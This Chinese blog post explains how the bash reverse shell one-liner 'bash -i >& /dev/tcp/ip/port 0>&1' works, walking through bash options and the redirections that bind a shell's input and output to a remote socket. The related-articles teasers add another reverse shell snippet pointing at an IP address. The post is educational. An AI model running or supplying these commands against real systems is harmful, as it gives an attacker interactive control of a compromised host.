美文网首页
利用 Bash 反弹 shell

利用 Bash 反弹 shell

作者: 失眠是真滴难受 | 来源:发表于2020-04-12 01:20 被阅读0次

利用 bash 反弹 shell 的方法很简单,百度一搜索就出来了,大部分都会给出这么一条命令

bash -i >& /dev/tcp/ip/port 0>&1

但是为什么这样就能反弹一个 shell 呢?

bash -i  :产生一个交互式的 shell 
>& : 复制一个文件

/dev/tcp/ip/port :  和远程主机建立一个 socket 连接

0>&1 :  将标准输入重定向到标准输出
Bash 的激活选项

  -c string    该选项表明string中包含了一条命令.如 bash -c ls ~

  -i       使Bash以交互式方式运行

  -r       使Bash以受限方式运行

  --login     使Bash以登录Shell方式运行

  --posix     使Bash遵循POSIX标准

  --verbose    使Bash显示所有其读入的输入行

  --help     打印Bash的使用信息

  --version    打印版本信息

  --noprofile

  --norc

  --rcfile file

>&

符号在 linux 系统里代表的是重定向, 举个例子

ls bebe >& 1.txt
bebe 这个文件夹是不存在的,这个时候会发生什么呢?

会报错吗?不会的,因为错误信息被重定向到 1.txt 文件里了

在 linux 系统里面,各种文件都有自己的标识符,0 代表的是标准输入,1 代表的是标准输出, 2 代表的是标准错误输出,在上面的例子里,因为不存在 bebe 这个文件夹,所以在使用 ls 命令时系统会返回一个错误信息,这就是一个标准错误输出,而如果 bebe 文件夹存在的时候会是什么样呢?为了显示区别,我在 bebe 文件夹创建了一个 test 文件

可以看到,当用 2> 重定向到 3.txt 时是失败了的,里面没有任何东西,前面说了,2 在 linux 系统中代表的是标准错误输出,但是此时 bebe 文件夹是存在的,里面也有文件,所以系统不会返回一个错误信息,而是一个标准输出文件,用 1> 就能正确操作了。

既然有 > ,那么肯定就有 < 了,> 是将输出重定向, < 正好是反过来,重定向输入

/dev/tcp/ip/port

与一台主机指定端口建立 socket 连接

0 >& 1

这里将输入重定向到输入,如果反过来会发生什么,嘿嘿,测试一下

看到没,我在 linux 执行命令,但是命令在 windows 显示出来了,但是命令的回显又是在 linux 本机显示的,这个顺序反了啊

最后

对于这个命令的执行,我也只是查了一些资料,简单测试了一下,从我的理解来看,第一个 >& 是把 bash -i 生成的交互式 shell 重定向到远程主机的 port 上,最后的 0>&1 则是把本该在 linux 上的回显再重定向到 bash 的输入,而此时 bash 的输入是在远程主机之中,这就实现了命令的执行和回显都在远程主机中,方便进行操作。

相关文章

  • 利用 Bash 反弹 shell

    利用 bash 反弹 shell 的方法很简单,百度一搜索就出来了,大部分都会给出这么一条命令 bash -i >...

  • 反弹shell

    Reverse Shell bash反弹服务端: bash -c 'sh -i &>/dev/tcp/210.28...

  • Linux下几种常见的反弹shell方式

    最近在做ctf题时碰到一些命令执行题借用命令执行来反弹shell,这里记录一下。 1.bash反弹shell 个人...

  • linux反弹shell小记录

    在某些情况下可能需要我们反弹一个shell来更好的执行某些命令。就可以用到这些命令: Bash反弹shell命令如...

  • 反弹shell | nc&bash

    01 nc netcat,简称nc,一款TCP/UDP网络连接的利器,可实现任意TCP/UDP端口的侦听,被称为“...

  • msfvenom生成windows下反弹shell

    msfvenom生成反弹shell 实验环境:攻击机器 kali 192.168.43.90 (利用msfveno...

  • chapter 3.基本的bash shell命令

    基本的bash shell命令 启动shell 大多数Linux默认的shell都为GNU bash shell/...

  • Homebrew相关问题

    查看当前shell echo $SHELL zsh切换bash chsh -s /bin/bash bash切换z...

  • linux命令总结

    bash 反弹 本机监听8080端口 目标机bash反弹8080端口 base64编码后反弹 python反弹 本...

  • shell & bash基础命令及巧用

    shell与bash脚本的区别shell是Linux基础命令解释器bash(Bourne Again shell)...

网友评论

      本文标题:利用 Bash 反弹 shell

      本文链接:https://www.haomeiwen.com/subject/bcpmmhtx.html